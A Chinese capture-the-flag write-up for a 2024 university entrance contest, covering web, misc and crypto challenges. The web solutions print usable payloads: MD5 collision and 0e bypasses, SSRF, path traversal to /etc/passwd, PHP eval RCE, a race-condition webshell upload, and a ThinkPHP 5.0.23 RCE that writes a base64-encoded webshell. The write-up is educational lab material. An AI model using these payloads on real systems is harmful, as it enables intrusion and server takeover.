2024秋季云曦开学考
web
ezezssrf
打开环境,代码审计
看起来有点多,要绕过五层
第一层:存在==弱比较,使用数组或0e绕过
yunxi[]=1&wlgf[]=2
yunxi=s878926199a&wlgf=s155964671a
第二层:存在===强比较,此处使用string限制参数为字符串型,不能使用数组绕过。可使用两个MD5值完全相同的字符绕过
yunxii=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&
wlgff=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
第三层:变量$GLG开头包含字符串 http://blog.csdn.net
if (strpos($GLG, 'http://blog.csdn.net') !== 0)
strpos 函数用于查找字符串 'http://blog.csdn.net' 在变量 $GLG 中的位置。
如果该字符串不在 $ GLG 的开头(即位置为0),则执行 die 函数终止脚本执行,并输出提示信息。
第四层:同样的使用了strpos 函数查找包含在$GLG中的变量$csdn里的中文“师姐,... ...”,可使用HTTP 基本身份认证绕过
GLG=http://blog.csdn.net@127.0.0.1
第五层:shell_exec()
函数使页面无回显,使用>或tee命令将想要进行的命令执行存入1.txt文件,之后再访问1.txt文件即可。
cmd=cat /flag | tee 1.txt
最终payload:
yunxi=s878926199a&wlgf=s155964671a&yunxii=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&wlgff=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&GLG=http://blog.csdn.net@127.0.0.1&cmd=cat /flag | tee 1.txt
知识点:
md5弱比较(==),强比较(===)
md5强比较&弱比较-CSDN博客
弱比较:只比较值,不比较类型
强比较:比较值,也比较类型
- a==b 将a,b的值转换成同类型再比较值
- a===b 先判断a,b类型,若相同,则比较值,若不相同,则返回false
弱比较(==)绕过:
1.数组绕过:md5不能加密数组 ,如 a[]=1 , b[]=1 , 传入数组会报错,但会继续执行并且返回结果为null。
2.0e绕过:以0e开头的数会被认为是科学计数法,0e+任何数 在科学计数法中都是0,故两数相等。
0e开头的md5和原值: QNKCDZO:0e830400451993494058024219903391 240610708:0e462097431906509019562988736854 s878926199a:0e545993274517709034328855841020 s155964671a:0e342768416822451524974117254469
强比较(===)绕过:
1.数组绕过
2.md5值完全相同的字符绕过
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
万能通式ffifdyop 绕过:
or 对应的16进制:276f7227
ffifdyop字符串,MD5加密后会变成276f7227 36c95d99e921722cf9ed621c
字符串前几位刚好是 ‘ or ‘6
select * from 'admin' where password=md5($pass,true) 输入md5('ffifdyop',true)绕过
HTTP 基本身份认证绕过SSRF:
CTFHUB技能树——SSRF绕过
HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。
即 http://www.xxx.com@www.yyy.com形式
shell_exec()函数:
shell_exec()函数会让页面无回显
linux中 “tee” 是从标准输入读取,再写入标准输出和文件
在PHP中 ">" 是表示把什么写入什么文件的意思。
无回显,那就把它写进一个文件,然后访问这个文件即可
?cmd=ls /|tee 1.txt
?cmd= c''at \f*** |tee 1.txt(写进1.txt文件里)
windows系统命令拼接方式|:直接执行后面的语句。 ||:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假。 &:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。 &&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
小小py
此题要买flag,但是钱不够
直接购买提示金额不足:
发现右下角提示 *click to download our sweet images* 点击图片能够下载,使用bp抓包 发现图片的下载路径。
/download?image=2.jpg
下载地址可能存在任意文件下载漏洞:
尝试利用路径查看文件,发现不能直接回显。于是用目录穿越查看一下 /etc/passwd 回显成功
/download?image=../../etc/passwd// etc/passwd 文件包含了系统上所有用户的信息
尝试访问Python环境变量:得到flag
/download?image=../../proc/self/environ// proc/self 其路径指向当前进程
// environ 记录当前进程的环境变量信息
学习高数
打开环境就问你喜不喜欢高数~
提示说有1万个页面
使用bp抓包爆一下页面,设置数字从1到10000,找到index8887.html的特殊界面
cvFXZohgjf看起来像一个文件,尝试访问 cvFXZohgjf.php,代码审计 需绕过三层
$content = $_GET['GS']; //将$_GET['GS']的值赋给$ contentif (strlen($content) >= 60) {die("不是哥们"); } //检查$content的长度是否小于60,如果大于等于60,程序终止并显示"不是哥们"。
// 定义一个黑名单数组$blacklist $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; //遍历$blacklist //使用正则表达式检查$content中是否包含黑名单中的字符,如果包含,程序终止并显示"新号别搞"。foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("新号别搞");}}
// 定义一个白名单数组$whitelist,包含了允许在$content中使用的数学函数名称 $whitelist = ['abs', 'acos', 'acosh', 'asin',... ...];
// 使用正则表达式从$content中提取所有函数名称,存储在$used_funcs数组中。 preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
// 使用正则表达式从$content中提取所有函数名称,存储在$used_funcs数组中。 // 遍历$used_funcs,检查其中的函数名是否都在$whitelist中,如果不在,程序终止并显示"虾啊"。 foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("虾啊");}}
eval('echo '.$content.';'); //使用eval函数,将$content中的内容安全地执行并输出
二次传参RCE
第一层:有长度小于60限制,可使用二次传参RCE的方式绕过
?GS=eval($_GET[1]);&1=system('ls');
第二层:但是过滤了很多字符,[ ] 可用{ } 绕过
?GS=$_GET{};$_GET{0}($_GET{1})&0=system&1=ls//?GS=$_GET{}; 定义一个变量GS,其值为一个空数组
//$_GET{0}($ _GET{1}) 尝试调用$_GET数组中的第一个元素作为函数,并将第二个元素作为参数传递给它
//&0=system 和 &1=ls URL参数,分别被设计为0和1索引的值(命令执行)
异或构造所需字符
第三层:还要检测函数名是否都在$whitelist中
没有禁用 ^ 符号,于是可以通过异或构造想要的$whitelist中的字母
// 使用脚本利用白名单里的函数生成可用字符
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){for($i = 0;$i < 9; $i++){for($j = 0;$j <=9;$j++){$exp = $payload[$k] ^ $i.$j;echo($payload[$k]."^$i$j"."==>$exp");echo "\n";}}
}
将得到的结果保存到记事本中,搜索需要构造的字符
对应字符 异或结果
_G is_nan^(6).(4)
ET tan^(1).(5)$GS=_GET ————> $GS=(is_nan^(6).(4)).(tan^(1).(5))
直接将上面的3个 _GET 改为 is_nan^(6).(4)).(tan^(1).(5) ,发现太长了~
可以将 _GET 赋值给参数$pi,就只用改1个_GET
(正常来说可随意使用题中所给数学函数作为参数,但是这里限制60的字符长度,有三个字母的函数用了还是会超出)
最终payload:
?GS=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag//$pi=$$pi; 这里使用了变量变量(variable variable),将$pi的值(即_GET)作为变量名,然后将_GET数组赋值给$pi。
得到flag(此处环境有点小问题,但是最终结果如下)
你能跟上我的speed吗
随便传一个文件,都是返回一张图片,根据题目的speed可以猜测为文件上传的条件竞争。
于是上传一句话木马文件,使用bp抓包爆破
<?php $op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[111]);?>');fclose($op);echo(111) ?>
抓包上传文件的请求
抓包访问上传文件的路径(题目提示路径为./uploads)
不需要设置参数,payload type都设为null payloads,payload setting选择Continue indefinitely(无限循环抓包)
两边同时爆破,将文件上传路径页面回显111的页面发送到repeater,改1.php为shell.php,能访问成功
连接蚁剑得到flag
文件上传之条件竞争
文件上传之条件竞争
什么是条件竞争?
在上传文件源代码里面有校验上传的文件,文件直接上传,上传成功后才进行判断;
如果文件格式符合的情况下,则重命名,如果文件格式不符合要求,就将文件删除。
由于服务器并发处(同时)理多个请求,假如a用户上传了一个文件,b用户访问a用户的文件就会出现以下三种情况:
1.访问时间点在上传文件之前,没有此文件
2.访问时间在上传文件之后,且服务器还未将其删除,文件存在
3.访问时间点在服务器删除文件之后,文件不存在注意:
使用bp
payload type 选择 null payloads
Payload options 选择 Continue indefinitely(无限循环抓包)一句话木马:
<?php $op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[111]);?>');fclose($op);echo(333) ?> //fopen(...)打开(或创建)名为'shell.php'的文件,并以写入模式(fwrite)进行操作。 //fputs(...):此函数将数据写入由fopen打开的文件。数据是作为字符串提供的。 //<?php eval($_POST[111]); ?>简单的php一句话木马,写入shell.php文件中。 //fclose($op)关闭文件。 //输出数字111,作为一种执行成功的标记。
真正的hacker!(flag1)(flag2)
打开环境是一个ThinkPHP页面
使用ThinkphpGUI工具扫描,发现存在5.0.23版本的rce漏洞
根据扫描出的payload读取flag1
GET传参:?s=captcha&test=-1
POST传参:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag1
访问后给了一个提示“命令执行只能得到flag1,真正的渗透大师热衷于getshell”,说明flag2需要getshell才能得到。
选择漏洞版本后并不能直接getshell
可以进行命令执行
whoami:操作系统中用于查看当前有效用户名的命令
pwd 查看当前路径
ls 查看上传路径
故可利用一句话木马进行命令执行,将一句话木马文件1.php上传到/var/www/public/uploads/路径下
echo '<?php eval($_POST[cmd]); ?>' > var/www/public/uploads/1.php
// 此处上传该木马,蚁剑连接不成功,应该有过滤
// 木马写入错了用rm uploads/1.php 删除文件后重新写入
echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" |base64 -d > /var/www/public/uploads/1.php
// 使用base64编码木马后再上传
// base64 -d 是一个命令行指令,用于对Base64编码的数据进行解码
使用蚁剑连接成功,得到flag2
Misc
misc大杂烩
解压后打开PPT,提示有6部分flag,考点简单,但是脑洞太大,所以也说没有思路就不用硬耗时间
考点一:盲水印
保存第二页的图片,使用工具分析吾爱破解WaterMark下载,得到flag1{hdy12-
考点二:word隐藏文字
打开是一个word文档
选中全文,点击字体,打开“字体”对话框。在“字体”对话框中,将“效果”栏下的【隐藏】取消勾选,然后点击确定,这样文档中隐藏的文字就全部取消隐藏状态并显示出来了。
得到flag2{1yhgzc5-
考点三:base64转图片
解压后使用010editor打开,发现base64编码转为图片,得到一个二维码
Base64转换图片工具
在线二维码解码器 ,解码得到 flag3{Ypt0a2-
考点四: Deepsound音频隐写
在音频文件里面,写入了其它的文件,比如flag.txt,也可以是图片等等,此时可以用deepsound进行解密。
将考点4.wav文件放入Deepsound解密,提取1.txt文件得到 flag4{ghj8-
考点五:zip掩码爆破,埃特巴什码解密
有一个压缩包,解压时发现想要密码
根据提示可推测密码形式为 197.157.xx.xx 或 197.157.xxx.xxx
使用掩码爆破,得到解压密码197.157.76.98
解压成功后得到 uozt5{7ftzp-,再进行埃特巴什码解密得 flag5{7ugak-
Zip密码爆破
爆破:逐个尝试所有密码,直到遇到正确密码
字典:字典攻击的效率比爆破稍高,因为字典中存储了常用的密码,因此就避免了爆破时把时间浪费在无用的密码上。
掩码攻击:如果已知密码的某几位,如已知8位密码的第4位是Z,那么可以构造XXXZXXXX进行掩码攻击,掩码攻击的原理相当于构造了第4位为Z的字典,攻击效率也比逐个尝试的爆破方式高。
考点六: 文件16进制颠倒
使用010editor打开附件,可看见一个明显的PK头,但是被倒置了
使用python脚本给它倒回来,使用010打开就正常了
with open('原文件路径','rb') as f: #倒置前with open('修改后文件路径','wb') as g: #倒置后g.write(f.read()[::-1])
修改后缀为.zip,解压后得到图片及 flag6: 78uiag}
最终flag: Yunxi{hdy12-1yhgzc5-Ypt0a2-ghj8-7ugak-78uiag}
MISC1
下载附件后使用wireshark打开,发现有一短两长的规律
不改变当前顺序,发现短的最后一个字符拼接起来刚好是flag
flag{7823yed-3892hu-7euiwb-euwidbh82-7ueidw}
MISC2
解压得到一张损坏的图片
使用010editor分析,发现被倒转了 此处与上面不同,是4位倒置
使用脚本修复图片,得到一张图片
def restore_file(input_file, output_file):# 读取文件内容with open(input_file, 'rb') as f:data = f.read()restored_data = bytearray()# 每4个字节为一组for i in range(0, len(data), 4):# 取出4个字节并倒转顺序restored_data.extend(data[i:i+4][::-1])# 将恢复后的数据写入输出文件with open(output_file, 'wb') as f:f.write(restored_data)# 输入和输出文件路径
input_file = r'E:\yunlabs\4-digit.png'
output_file = r'E:\yunlabs\4-digit1.png'# 调用函数进行文件恢复
restore_file(input_file, output_file)
... ...
后面再看
mics-Make Png Great Again——CVE-2023-28303(截图修复)_windows10教育版激活密钥-CSDN博客
Crypto
mmmd5
下载附件后发现有很多MD5值
最直接的方法,使用在线网站一个一个解得flag
MD5免费在线解密破解_MD5在线加密-SOMD5
相关文章:

2024秋季云曦开学考
web ezezssrf 打开环境,代码审计 看起来有点多,要绕过五层 第一层:存在弱比较,使用数组或0e绕过 yunxi[]1&wlgf[]2 yunxis878926199a&wlgfs155964671a 第二层:存在强比较,此处使用string限制…...
基于STM32与Qt的自动平衡机器人:从控制到人机交互的的详细设计流程
一、项目概述 目标和用途 本项目旨在开发一款基于 STM32 控制的自动平衡机器人,结合步进电机和陀螺仪传感器,实现对平衡机器人的精确控制。该机器人可以用于教育、科研、娱乐等多个领域,帮助用户了解自动控制、机器人运动学等相关知识。 技…...
C#使用ZipFile的方法CreateFromDirectory
由于现在数据越来越大,虽然磁盘的大小也在增加,但是数据增加的速度是远超过磁盘的增加速度。 因为数据是一种思想的表现,特别是ChatGPT的AI出现,导致很多数据无限地使用机器化地产生,所以数据压缩还是很常有的事情,毕竟压缩之后可以减少磁盘空间的占用。 在C#里有一个专…...
Redis 哨兵模式的选举算法是什么?
Redis 哨兵模式中的选举算法主要用于在主节点出现故障时,从多个 Sentinel 节点中选出一个领导者(Leader)来执行故障转移操作。 Redis 哨兵的选举算法基于 Raft 算法的简化版本,但不完全等同于标准的 Raft 算法。以下是其主要过程: 一、发现主节点故障 当一个 Sentinel …...

Linux shell编程学习笔记80:gzip命令——让文件瘦身
0 引言 在 Linux shell编程学习笔记76:tar命令——快照 & 备份(上)-CSDN博客 Linux shell编程学习笔记77:tar命令——快照 & 备份(下)_linux 系统快照-CSDN博客 Linux shell编程学习笔记78&am…...
【字幕】恋上数据结构与算法之01为什么要学习数据结构与算法
视频地址:请查看01为什么要学习数据结构与算法_哔哩哔哩_bilibili 同志们好,我是小码哥的mj李明杰。非常欢迎大家来学习链上数据结构与算法,从今天开始呢就由我来带大家一起来学习和掌握这个数据结构与算法啊。在正式学习之前我们先来看一下…...

120页ppt丨集团公司战略规划内容、方法、步骤及战略规划案例研究
响应会员需求,晓零分享一份经典资料《120页ppt集团公司战略规划内容、方法、步骤及战略规划案例研究》,欢迎进入星球下载学习。 以下是对企业战略规划三个阶段八个步骤的详细解析: 一、阶段一:内外分析 项目启动和前期准备&…...
滚雪球学SpringCloud[2.3]:服务发现与负载均衡详解
全文目录: 前言1. Ribbon的使用与配置1.1 Ribbon 概述Ribbon 的核心功能: 1.2 Ribbon 的基本使用1.2.1 引入 Ribbon 依赖1.2.2 配置 RestTemplate 与 Ribbon1.2.3 示例:通过 Ribbon 调用服务 1.3 Ribbon 的配置选项 2. Ribbon的负载均衡策略2…...

商务英语口语之聚会宴饮常用口语柯桥培训到蓝天广场
吃饭一定要掌握的英语口语 邀请他人共进餐: Would you like to join me for dinner? 你愿意和我一起吃饭吗? Lets grab a bite to eat together. 我们一起去吃点东西吧。 How about having lunch with me? 和我一起吃午饭怎么样? 询问…...

【C#】VS插件
翻译 目前推荐较多的 可以单词发言,目前还在开发阶段 TranslateIntoChinese - Visual Studio Marketplace 下载量最高的(推荐) Visual-Studio-Translator - Visual Studio Marketplace 支持翻译的版本较多,在 Visual Studio 代码编辑器中通过 Googl…...

嵌入式C语言自我修养:C语言的面向对象编程思想
⭐关联知识点:C和C的区别 代码复用与分层思想 什么是代码复用呢? (1)函数级代码复用:定义一个函数实现某个功能,所有的程序都可以调用这个函数,不用自己再单独实现一遍,函数级的代…...

行车记录仪格式化了怎么恢复?专业恢复方法分享
行车记录仪作为现代驾驶的必备设备,它忠实记录着行车过程中的点点滴滴,是保障行车安全、处理交通事故的重要依据。然而,有时由于操作失误或其他原因,我们可能会不小心将行车记录仪进行格式化,导致宝贵的录像数据丢失。…...
C++中extern ”c“的理解
c中extern “C“的作用及理解_extern "c-CSDN博客...

红黑树的删除
文章目录 前言一.删除的节点左子树右子树都有二.删除的节点只有左/右子树删除调整操作 三.删除的节点没有孩子1.删除的节点为红色2.删除的节点为黑色1).兄弟节点为黑色(1).兄弟节点至少有一个红色的孩子节点LL型RR型RL型LR型 (2).兄弟节点没有孩子或所有孩子为黑色 2).兄弟节点…...
Vue3+setup实现父子组件单表增删改查写法模板
父组件写法 <el-card><!-- el-card 头部插槽 显示列表名和新增按钮 --><template #header><div class"table-header-container"><i class"fas fa-th" />角色列表(100)<span style"flex-grow…...

jmeter 录制APP脚本
一、手机 1、修改网络 代理选择手动→填写服务器主机名(电脑IP,如:192.1xx.x.xx)→服务器端口(任意未被占用端口,如:8888) 2、安装证书 手机浏览器访问服务器主机名:服务器端口&a…...

C++类与对象深度解析(一):从抽象到实践的全面入门指南
文章目录 C 类与对象——详细入门指南前言1. 类的定义1.1 类定义的基本格式示例代码解释 1.2 访问限定符示例代码解释 1.3 类域示例代码解释 1.4 成员命名规范常见的命名约定:示例:拓展: 1.5 class与struct的默认访问权限示例: 2.…...
docker拉取 jdk 8
docker pull openjdk:8docker run -d -it --name java-8 openjdk:8docker run -d -it --name java-8 openjdk:8 –name java-8 容器名,自定义的 openjdk:8 镜像名:标签名 , 使用 docker images 查看 2、查看已运行的容器实例: doc…...
机器学习VS深度学习
机器学习(Machine Learning, ML)和深度学习(Deep Learning, DL)是人工智能(AI)的两个子领域,它们有许多相似之处,但在技术实现和应用范围上也有显著区别。下面从几个方面对两者进行区…...

基于vue框架的宠物交流平台1n2n3(程序+源码+数据库+调试部署+开发环境)系统界面在最后面。
系统程序文件列表 项目功能:会员,宠物信息,宠物类型,团队信息,申请领养,团队申请,领养宠物 开题报告内容 基于Vue框架的宠物交流平台开题报告 一、项目背景 随着现代生活节奏的加快与人们情感需求的日益增长,宠物已成为众多家庭不可或缺的重要成员。…...
浏览器访问 AWS ECS 上部署的 Docker 容器(监听 80 端口)
✅ 一、ECS 服务配置 Dockerfile 确保监听 80 端口 EXPOSE 80 CMD ["nginx", "-g", "daemon off;"]或 EXPOSE 80 CMD ["python3", "-m", "http.server", "80"]任务定义(Task Definition&…...

eNSP-Cloud(实现本地电脑与eNSP内设备之间通信)
说明: 想象一下,你正在用eNSP搭建一个虚拟的网络世界,里面有虚拟的路由器、交换机、电脑(PC)等等。这些设备都在你的电脑里面“运行”,它们之间可以互相通信,就像一个封闭的小王国。 但是&#…...
HTML 语义化
目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 HTML5 新特性 标准答案: 语义化标签: <header>:页头<nav>:导航<main>:主要内容<article>&#x…...
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする 1、前言(1)情况说明(2)工程师的信仰2、知识点(1) にする1,接续:名词+にする2,接续:疑问词+にする3,(A)は(B)にする。(2)復習:(1)复习句子(2)ために & ように(3)そう(4)にする3、…...
QMC5883L的驱动
简介 本篇文章的代码已经上传到了github上面,开源代码 作为一个电子罗盘模块,我们可以通过I2C从中获取偏航角yaw,相对于六轴陀螺仪的yaw,qmc5883l几乎不会零飘并且成本较低。 参考资料 QMC5883L磁场传感器驱动 QMC5883L磁力计…...
【ROS】Nav2源码之nav2_behavior_tree-行为树节点列表
1、行为树节点分类 在 Nav2(Navigation2)的行为树框架中,行为树节点插件按照功能分为 Action(动作节点)、Condition(条件节点)、Control(控制节点) 和 Decorator(装饰节点) 四类。 1.1 动作节点 Action 执行具体的机器人操作或任务,直接与硬件、传感器或外部系统…...
ffmpeg(四):滤镜命令
FFmpeg 的滤镜命令是用于音视频处理中的强大工具,可以完成剪裁、缩放、加水印、调色、合成、旋转、模糊、叠加字幕等复杂的操作。其核心语法格式一般如下: ffmpeg -i input.mp4 -vf "滤镜参数" output.mp4或者带音频滤镜: ffmpeg…...

C++ 求圆面积的程序(Program to find area of a circle)
给定半径r,求圆的面积。圆的面积应精确到小数点后5位。 例子: 输入:r 5 输出:78.53982 解释:由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982,因为我们只保留小数点后 5 位数字。 输…...

Android15默认授权浮窗权限
我们经常有那种需求,客户需要定制的apk集成在ROM中,并且默认授予其【显示在其他应用的上层】权限,也就是我们常说的浮窗权限,那么我们就可以通过以下方法在wms、ams等系统服务的systemReady()方法中调用即可实现预置应用默认授权浮…...
汇编常见指令
汇编常见指令 一、数据传送指令 指令功能示例说明MOV数据传送MOV EAX, 10将立即数 10 送入 EAXMOV [EBX], EAX将 EAX 值存入 EBX 指向的内存LEA加载有效地址LEA EAX, [EBX4]将 EBX4 的地址存入 EAX(不访问内存)XCHG交换数据XCHG EAX, EBX交换 EAX 和 EB…...